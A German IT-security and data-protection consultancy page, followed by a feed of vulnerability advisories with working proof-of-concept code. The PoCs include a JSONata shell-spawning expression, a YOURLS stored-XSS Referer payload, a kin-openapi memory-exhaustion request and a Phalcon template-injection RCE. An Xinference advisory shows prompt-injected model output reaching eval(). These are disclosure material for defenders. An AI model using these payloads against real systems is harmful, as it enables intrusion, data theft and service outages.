Beratung zu IT-Sicherheit & Datenschutz


Die Datenschutz-Grundverordnung beziehungsweise das Bundesdatenschutzgesetz betreffen uns alle - jeder, der Daten von Dritten erfasst, speichert oder verarbeitet muss den europäischen Standard einhalten. Die umfangreichen Gesetzestexte regeln Rechte und Pflichten aber auch technische und organisatorische Maßnahmen zum Datenschutz, Aufbewahrungspflichten, Sicherheitsstandards und Vorgaben zur Dokumentation von Verfahren und Vorfällen sowie die Vorgaben zur Berufung eines Datenschutzbeauftragten mit einer besonderen Aufsichts- und Beratungspflicht.

Die DSGVO und das BDSG sollte dabei nicht nur schriftlich in langen Rechtstexten, Datenschutzhinweisen und Verfahrensdokumentationen umgesetzt werden sondern es sollten konkrete technische Standards etabliert und eingehalten werden um dem Verlust von Daten vorzubeugen, der unberechtigten Nutzung von Daten einhalt zu gebieten und Angreifer und Hacker zuverlässig abzuwehren.

Da umfangreiches Know-How sowohl im Bezug auf die Rechtsgrundlagen als auch auf die technischen Risiken und Möglichkeiten erforderlich sind um ein angemessenes Datenschutzkonzept zu etablieren haben viele Unternehmen große Schwierigkeiten bei der Umsetzung. Unsere IT- und Datenschutzberatung setzt hier an - mit unserer Expertise können wir Sie dabei unterstützen Datenschutz technisch und rechtlich angemessen umzusetzen.

Was steckt dahinter?

Das "Who is Who" - DSGVO, GDPR, BDSG, TMG, ...
Innerhalb der EU gilt seit 2018 die sogenannte General Data Protection Regulation (GDPR), die in Deutschland unter der Bezeichnung "Datenschutz-Grundverordnung" (DSGVO) in nationales Recht umgesetzt wurde. Das Bundesdatenschutzgesetz (BDSG) präzisiert die Regelungen der DSGVO und fügt weitere nationale Regelungen hinzu. Für Betreiber von Internetangeboten ist zudem das Telemediengesetzes (TMG) relevant. Dies bezieht sich allerdings weniger auf den Datenschutz als auf grundlegende Regelungen im IT-Recht.

Was ist Datenschutzberatung?
Unser TÜV geprüfter Datenschutzbeauftragter mit juristischer Qualifikation berät Sie gerne zu Fragen rund um die Umsetzung von Datenschutzrecht in Ihren konkreten Projekten. Darüber hinausgehende zivilrechtliche Fragestellungen hingegen fallen nicht in den Bereich der Datenschutzberatung.




Die rechtliche Seite: DSGVO

Die DSGVO beziehungsweise das Bundesdatenschutzgesetz stellen verschiedene Forderungen an Unternehmen und Organisationen die zwingend einzuhalten sind um rechtskonform Daten zu verarbeiten. Als Verarbeiter von Daten zählen Sie schon dann, wenn Sie die Daten von Mitarbeitenden oder Kunden erfassen oder speichern.

Damit gilt die DSGVO sowohl für Kleinstunternehmen und Vereine wie auch für große Unternehmen und global Player.

Während die gesetzlichen Regelungen in vielen Bereichen sehr präzise Vorgaben machen welche Dokumente und Verfahren es geben muss und welche Rechte, Pflichten und Fristen gelten, gibt es in vielen Bereichen auch große Unsicherheiten. Häufiger werden Maßnahmen gefordert die sich am Stand der Technik orientieren oder technische Notwendigkeit und Machbarkeit zur Maßgabe machen.

Im Rahmen einer rechtlichen Datenschutzberatung geht es darum Sie über Ihre Rechte und Pflichten als Datenverarbeiter zu informieren und gemeinsam zu prüfen und sicherzustellen, dass die geforderten Unterlagen und Prozesse korrekt umgesetzt werden. Wir zeigen Ihnen gernen auch Tools und Best Practices zur Umsetzung der Rechte Betroffener und Ihrer Pflichten als Verarbeiter.

Wir unterstützen Sie dabei den Überblick zu bewahren!

Die technische Seite: IT-Sicherheit

Während die rechtliche Seite sich viel mit Fragen nach Rechten und Pflichten, der Haftung und der Verantwortung beschäftigt, ist die technische Seite des Datenschutzes sehr viel präziser:

Wie verhindern Sie, dass Ihre Daten in falsche Hände kommen?

Sie sammeln und verarbeiten vermutlich jeden Tag Daten von Dritten und speichern diese in internen Tools, verarbeiten sie auf Ihren oder fremden Servern, übertragen Sie zu Dienstleistern oder bauen sogar einen wesentlichen Teil Ihrer Tätigkeit auf der Verarbeitung auf.

Ein potentieller Angreifer oder Hacker versucht stets den schwächsten Punkt zu identifizieren, um Zugriff zu Ihren Daten zu erlangen. Häufig nutzen Hacker dazu bekannte Sicherheitslücken nicht aktualisierter Systeme aus, suchen nach vergessenen oder auch versehentlich offen stehenden Türen oder greifen sensible Zugangsdaten ab, wodurch sie auch ohne große Anstrengungen unberechtigten Zugang erlangen und viel Schaden anrichten können. Dabei müssen Sie nichtmal das primäre Ziel des Angriffs sein, sondern könnten vermeintlich auch Opfer eines größer angelegten Angriffs auf mehrere Unternehmen werden.

Wir unterstützen Sie dabei, ein Sicherheitskonzept in Ihrer IT zu etablieren und die Angriffflächen zu reduzieren.





IT-Sicherheit - bleiben Sie auf dem Laufenden


Täglich werden neue Schwachstellen, Angriffs-Vektoren, Cyber-Attaken und Fehler in Software, Netzwerken und Infrastrukturen bekannt - teilweise betreffen diese nur bestimmte Softwarelösungen oder spezifische Szenarien, manchmal betreffen Sie jedoch auch ganze Industriezweige, weit verbreitete Arbeitsweisen und grundlegende Technologien wie bei Heartbleed (SSL) oder Log4Shell (Protokollierung). Ergreifen Sie Maßnahmen, um Ihre Infrastruktur und Daten sicher zu halten.

Gemeinsam erfassen wir, welche Komponten und Abhängigkeiten Sie einsetzen und überwachen die CVE und viele weitere Quellen um im Falle von Mängeln oder Angriffspunkten schnell handeln zu können.

Wir simulieren Angriffe und Testen Ihre Anwendungen, Webseiten, die Infrastruktur und Prozesse auf mögliche Sicherheitslücken, Mängel und Angriffsvektoren um Risiken fürhzeitig zu erknennen und Lücken zu schließen.

Wir implementieren aktiv Monitore und überwachen somit Anfragen um frühzeitig Angriffe und verdächtige Aktivitäten zu identifizieren. Verdächte Aktivitäten können zur Alarmierung oder zu automatischen Sperrungen und Ausschlüssen führen, um einen hohen Standard zu gewährleisten.


Den Bedrohungen der IT-Welt sind Sie nicht schutzlos ausgeliefert - es ist jedoch wichtig dem Thema IT-Sicherheit Aufmerksamkeit zu schenken, um einen verantwortungsbewussten und rechtskonformen Umgang mit Unternehmens- und Kundendaten zu gewährleisten.

Risiko 9.8 / 10 CVE-2025-1889 gerade eben
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ```
Risiko 7.5 / 10 CVE-2026-68508 vor 1 Stunde(n)
## Summary `hydra.utils.instantiate()` resolves and calls Python objects from config. If an application passes untrusted config to `instantiate()`, an attacker who controls `_target_` and its arguments can cause arbitrary code execution in the consuming process. Hydra is not a network service. Exploitation requires a consuming application, library, or user workflow to load attacker-controlled config, CLI overrides, or model metadata and pass it to `hydra.utils.instantiate()`. ## Details Hydra's instantiate API is designed to construct objects and call functions from configuration. For example: ```yaml component: _target_: package.module.Class arg: value ``` When this config is passed to `hydra.utils.instantiate()`, Hydra resolves `_target_` and calls it with the provided arguments. This is intended for trusted application configuration. However, if untrusted input controls `_target_`, the config becomes a callable-selection mechanism. A malicious config can select a callable capable of executing code or commands and provide attacker-controlled arguments. This issue is the same general class of problem discussed by Unit 42 for downstream AI/ML libraries such as NVIDIA NeMo, where untrusted model metadata was passed into Hydra instantiate: https://unit42.paloaltonetworks.com/rce-vulnerabilities-in-ai-python-libraries/ Hydra 1.3.4 includes a blacklist for some dangerous `_target_` values. That blacklist is defense-in-depth and is not a complete security boundary. The blacklist is not present in the released `hydra-core` 1.3.3 package, so this issue should not be described as a bypass of a released 1.3.3 blacklist. ## Impact A successful attack can execute code in the process that calls `hydra.utils.instantiate()`. The impact is limited to the privileges and environment of that process. Potential impact includes: - Reading files, credentials, environment variables, or data accessible to the process - Modifying files, outputs, checkpoints, or application state writable by the process - Terminating or disrupting the process ## Affected Usage Applications and libraries are affected when they pass untrusted or semi-trusted config, model metadata, CLI overrides, or other externally controlled data to `hydra.utils.instantiate()` without constraining which targets may be instantiated. Trusted application-owned configuration is not affected in the same way. ## Remediation Hydra 1.3.4 hardens the existing behavior by adding a blacklist of obvious dangerous targets. It is a substantial security improvement, and users remaining on the 1.3 release line should upgrade to 1.3.4 or a newer version. The unreleased Hydra 1.4 development line uses an allowlist-based instantiation model that fully addresses this vulnerability class. The allowlist must come from trusted application code or another trusted channel, not from the untrusted config being instantiated. Applications that consume untrusted or semi-trusted config should not pass it directly to `hydra.utils.instantiate()`. They should validate `_target_` values against a trusted allowlist before instantiation.

### Summary YOURLS stores the HTTP `Referer` header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted `Referer` header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting. This is reachable in default private installations when authenticated users view stats, and in documented configurations where `YOURLS_PRIVATE_INFOS` is set to `false` to make statistics pages public. ### Details The vulnerable source-to-sink path is: ```text HTTP Referer header -> yourls_get_referrer() -> yourls_sanitize_url_safe() -> yourls_log_redirect() -> log table referrer column -> yourls-infos.php referrer aggregation -> yourls_get_domain() -> yourls_stats_pie() -> yourls_google_array_to_data_table() -> inline JavaScript ``` Relevant code: - `includes/functions.php:240-243`: `yourls_get_referrer()` reads `$_SERVER['HTTP_REFERER']`, calls `yourls_sanitize_url_safe()`, and truncates the result to 200 bytes. - `includes/functions.php:294-307`: `yourls_redirect_shorturl()` calls `yourls_log_redirect()` before redirecting the visitor. - `includes/functions.php:516-545`: `yourls_log_redirect()` stores the sanitized referrer in the log table. - `yourls-infos.php:60-82`: the statistics page reads logged referrers and groups them by `yourls_get_domain($row->referrer)`. - `yourls-infos.php:493-498`: the statistics page passes referrer domains to `yourls_stats_pie()`. - `includes/functions-infos.php:338-355`: `yourls_google_array_to_data_table()` manually concatenates labels into JavaScript as `['$label', ...]` without escaping single quotes, backslashes, or other JavaScript string metacharacters. - `includes/functions-formatting.php:141-143` and `includes/functions-formatting.php:555-609`: `yourls_sanitize_url_safe()` removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including `'`, `[`, `]`, `,`, and parentheses. A crafted referrer host such as: ```text x',1],['marker',alert(1)],['z.tld ``` survives sanitization when used in a URL like: ```text http://x',1],['marker',alert(1)],['z.tld/path ``` It is then rendered into chart JavaScript like: ```javascript var data = google.visualization.arrayToDataTable([ ['x',1],['marker',alert(1)],['z.tld',1] ]); ``` The `alert(1)` call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context. ### PoC The following local harness was run against commit `c3fc8e2370d240403c17c2e4a70e1e234759a5b3`. It exercises YOURLS' real URL sanitizer, domain extraction, and `yourls_stats_pie()` chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and `alert()`. ```sh docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r ' define("IDNA_DEFAULT",0); define("INTL_IDNA_VARIANT_UTS46",1); function yourls_add_action(){ } function yourls_do_action(){ } function yourls_apply_filter($tag,$value){ return $value; } function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; } function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); } if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } } require "includes/vendor/autoload.php"; require "includes/functions-kses.php"; yourls_kses_init(); require "includes/functions-formatting.php"; require "includes/functions-infos.php"; $ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path"; $san=substr(yourls_sanitize_url_safe($ref),0,200); $host=yourls_get_domain($san); ob_start(); yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref"); $html=ob_get_clean(); preg_match("#]*>(.*?)#s", $html, $m); $js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(\x27san=\x27+".json_encode($san)."); console.log(\x27host=\x27+".json_encode($host)."); console.log(\x27pwned=\x27+global.pwned);"; echo $js; ' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js ``` Observed output: ```text san=http://x',1],['marker',alert(1)],['z.tld/path host=x',1],['marker',alert(1)],['z.tld pwned=1 ``` A request that would poison statistics for an existing short URL in a local YOURLS instance is: ```sh curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" \ http://localhost/ ``` Then view the affected short URL's stats page: ```text http://localhost/+ ``` The payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present. ### Impact Beyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions. In a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata. The XSS can also fetch `/admin/tools.php` and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes. Confidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links. ### Credits - Thai Son Dinh from VinSOC Labs (R&D)

### Summary An uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services. ### Details The OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a¶m[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936): ```go // req_resp_decoder.go (vulnerable version) func sliceMapToSlice(m map[string]any) ([]any, error) { var result []any keys := make([]int, 0, len(m)) for k := range m { key, err := strconv.Atoi(k) // "50000000" -> 50000000, attacker-controlled if err != nil { return nil, fmt.Errorf("array indexes must be integers: %w", err) } keys = append(keys, key) } max := -1 for _, k := range keys { if k > max { max = k // max = attacker's index, unbounded } } for i := 0; i <= max; i++ { // <-- unbounded loop, 0 .. max val, ok := m[strconv.Itoa(i)] if !ok { result = append(result, nil) // fills every sparse hole with nil continue } result = append(result, val) } return result, nil } ``` A second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986): ```go resultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1 for i := range arr { r, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items) ... } ``` So a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory. **Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented. **Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no "index" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude. **Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array. **Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) ("openapi3filter: deepObject array of objects and array of arrays support (#923)", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path. ### PoC Verified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`. **1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help): ```yaml openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ``` **2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses: ```go package main import ( "context" "fmt" "net/http" "runtime" "github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" ) const spec = ` openapi: '3.0.3' info: {title: t, version: '1.0.0'} paths: /q: get: parameters: - name: param in: query style: deepObject explode: true schema: type: object properties: items: type: array maxItems: 3 items: {type: string} responses: '200': {description: ok} ` func main() { loader := openapi3.NewLoader() doc, _ := loader.LoadFromData([]byte(spec)) _ = doc.Validate(loader.Context) router, _ := gorillamux.NewRouter(doc) // Attacker-controlled index. A 24-byte query string is enough to force // materialization of a 50-million-element slice. const rawQuery = "param[items][50000000]=x" r, _ := http.NewRequest(http.MethodGet, "/q?"+rawQuery, nil) route, pp, _ := router.FindRoute(r) var before, after runtime.MemStats runtime.GC() runtime.ReadMemStats(&before) err := openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) runtime.ReadMemStats(&after) fmt.Printf("query string: %q (%d bytes)\n", rawQuery, len(rawQuery)) fmt.Printf("heap allocated during ValidateRequest: %.1f MiB\n", float64(after.TotalAlloc-before.TotalAlloc)/(1<<20)) fmt.Printf("ValidateRequest error: %v\n", err) } ``` **3. Observed output** (`go run .`, unpatched tree, re-verified in this pass): ``` query string: "param[items][50000000]=x" (24 bytes) heap allocated during ValidateRequest: 6231.1 MiB ValidateRequest error: parameter "param" in query has an error: Error at "/items": maximum number of items is 3 ``` A **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision): | Query string | Wire size | Heap allocated | Amplification | |---|---|---|---| | `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× | | `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× | | `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× | | `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000× | | `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000× | **Attack request** (nothing else required — no body, no auth, no unusual headers): ``` GET /whatever?param[items][50000000]=x HTTP/1.1 Host: victim ``` **Control (confirms only deepObject is a vector):** repeating the equivalent "large array" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case. **4.

This is a normal, documented OpenAPI pattern, not a hostile or unusual spec. - **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it. - **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs. - **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).

### Summary Xinference used Python's unsafe `eval()` function when parsing Llama3 tool-call output generated by a large language model. Because the model output can be influenced by attacker-controlled prompts sent to the chat completion API, a remote attacker can craft prompts that cause the model to return a Python expression. Xinference then evaluates that expression on the server while post-processing the tool-call result. In the tested default deployment, authentication was not enabled, so the vulnerability was exploitable by an unauthenticated remote attacker through the `/v1/chat/completions` endpoint. ### Details Users can interact with deployed models through Xinference's OpenAI-compatible `/v1/chat/completions` API. The request entry point is implemented in `xinference/api/restful_api.py`; non-streaming requests call the model instance's `chat()` method and return the inference result. When the Transformers backend is used, inference results flow through the batching logic in `xinference/model/llm/transformers/core.py`. Non-streaming chat results are handled by `handle_chat_result_non_streaming()`. If the request contains a `tools` field, Xinference calls `_post_process_completion()` to parse tool-call output from the model response. The Llama3 tool-call parser is implemented in `xinference/model/llm/tool_parsers/llama3_tool_parser.py`. In affected versions, `extract_tool_calls()` parsed model output with `eval()`: ```python def extract_tool_calls( self, model_output: str ) -> List[Tuple[Optional[str], Optional[str], Optional[Dict[str, Any]]]]: try: data = eval(model_output, {}, {}) return [(None, data["name"], data["parameters"])] except Exception: return [(model_output, None, None)] ``` The intended behavior was to convert a Python dictionary-like string generated by the model into a dictionary object. However, `eval()` executes the input as a Python expression, and `eval(model_output, {}, {})` is not a security sandbox. If an attacker can influence the model output through prompt injection or direct chat input, the attacker can cause the model to return an expression such as: ```python __import__('os').system('touch /tmp/hacked') ``` When the expression reaches `eval()`, it is executed in the Xinference server process context. The harmless `touch /tmp/hacked` command can be replaced with other payloads, such as a reverse shell, malware download, sensitive file read, or lateral-movement payload. ### Score Severity: Critical CVSS v3.1: 10.0 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` Rationale: - AV:N: the vulnerable API is remotely reachable over the network; - AC:L: exploitation only requires a crafted chat-completion request and tool-call parameter; - PR:N: the tested default configuration did not require authentication; - UI:N: no user interaction is required; - S:C: command execution can affect resources beyond the Xinference application boundary; - C:H/I:H/A:H: remote code execution can fully compromise confidentiality, integrity, and availability. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Guancheng Li (lgcpku@gmail.com)

## Summary The Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source. ## Details ### Root cause `phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`: ```zephir case "join": return "join('" . funcArguments[1]["expr"]["value"] . "', " . funcArguments[0]["expr"]["value"] . ")"; ``` `funcArguments[1]["expr"]["value"]` (the separator) and `funcArguments[0]["expr"]["value"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP. **Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0): ```c ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")"); ``` i.e. literally `"join('" + separator + "', " + array + ")"` with both attacker-controlled fragments unescaped. The compiled output is then written to a cache file and `require`d by `Phalcon\Mvc\View\Engine\Volt::render()`, so any PHP spliced in by the attacker runs at render time. ## PoC ```php compileString($tpl); $f = tempnam(sys_get_temp_dir(), 'volt') . '.php'; file_put_contents($f, $compiled); include $f; unlink($f); ``` image ## Impact Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.

### Summary A nil-pointer dereference in `openapi3filter.ConvertErrors` lets any unauthenticated client crash a server with a single HTTP request. When an application validates a `multipart/form-data` request body and renders the resulting validation error through the library-provided `ValidationErrorEncoder` / `ConvertErrors` helpers, a malformed scalar form field (e.g. a non-numeric value for an `integer` property) produces an error shape that `convertParseError` dereferences without a nil check. The handler goroutine panics, causing a denial of service. `application/json` request bodies are **not** affected — the bug is specific to `multipart/form-data`. ### Details The panic is in `convertParseError`, at [`openapi3filter/validation_error_encoder.go:119-120`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L119) (still present on `master` at the time of writing): ```go } else if innerErr.RootCause() != nil { if rootErr, ok := innerErr.Cause.(*ParseError); ok && rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { // ❌ e.Parameter may be nil → panic ``` The comparison `e.Parameter.In == "query"` assumes `e.Parameter` is non-nil. It is reached whenever **both** of the following hold: 1. **`e.Parameter == nil`.** A `*RequestError` carries *either* `Parameter` (parameter errors) *or* `RequestBody` (body errors), never both. `ValidateRequestBody` builds body errors with only `RequestBody` set, leaving `Parameter` nil — see [`validate_request.go:326-332`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validate_request.go#L326). 2. **`innerErr.Cause` is itself a `*ParseError`** (a `ParseError` nested inside a `ParseError`), so the type assertion on line 119 succeeds and execution reaches the `e.Parameter.In` dereference on line 120. The only default code path that satisfies *both* conditions is the **multipart** body decoder, which wraps a failed part's `*ParseError` inside another `*ParseError` at [`req_resp_decoder.go:1549`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1549) and [`:1558`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L1558): ```go if v, ok := err.(*ParseError); ok { return nil, &ParseError{path: []any{name}, Cause: v} // v is a *ParseError → nested } ``` Why other paths do **not** reach the dereference: | Body content type | Failure mode | `RequestError.Err` shape | `.Cause` is `*ParseError`? | `e.Parameter` | Panics? | |---|---|---|---|---|---| | **`multipart/form-data`** | scalar part fails primitive parse (`age=notanumber`) | `*ParseError` wrapping a `*ParseError` | **yes** | `nil` | **YES** | | `application/json` | malformed JSON syntax | `*ParseError` whose `.Cause` is an `encoding/json` error | no (assertion fails → safe fallback branch) | `nil` | no | | `application/json` | wrong type / schema violation | `*openapi3.SchemaError` (routed to `convertSchemaError`, never reaches `convertParseError`) | n/a | `nil` | no | | styled `query` / `path` params | invalid format | `*ParseError` wrapping a `*ParseError` | yes | **set (non-nil)** | no (guard/assignment succeeds) | Note that the sibling `"path"` branch two lines above ([line 108](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L108)) already guards correctly with `e.Parameter != nil`; the `"query"` branch simply omits the same guard. **Recommended fix.** Add the missing nil guard to the condition: ```diff if rootErr, ok := innerErr.Cause.(*ParseError); ok && - rootErr.Kind == KindInvalidFormat && e.Parameter.In == "query" { + rootErr.Kind == KindInvalidFormat && e.Parameter != nil && e.Parameter.In == "query" { ``` When `e.Parameter == nil` the inner `if` is skipped and control falls through to the existing `return &ValidationError{Status: http.StatusBadRequest, Title: innerErr.Reason}` at [line 127-130](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/validation_error_encoder.go#L127) — a correct `400 Bad Request`. I verified that applying only this one-line guard stops the panic and returns `*ValidationError{Status: 400}`. Minor follow-up worth including in the same change: for the multipart nested `*ParseError`, the *outer* `ParseError.Reason` is empty, so the fallback `Title: innerErr.Reason` yields a `400` with an **empty `Title`**. The descriptive text lives in `innerErr.Error()` 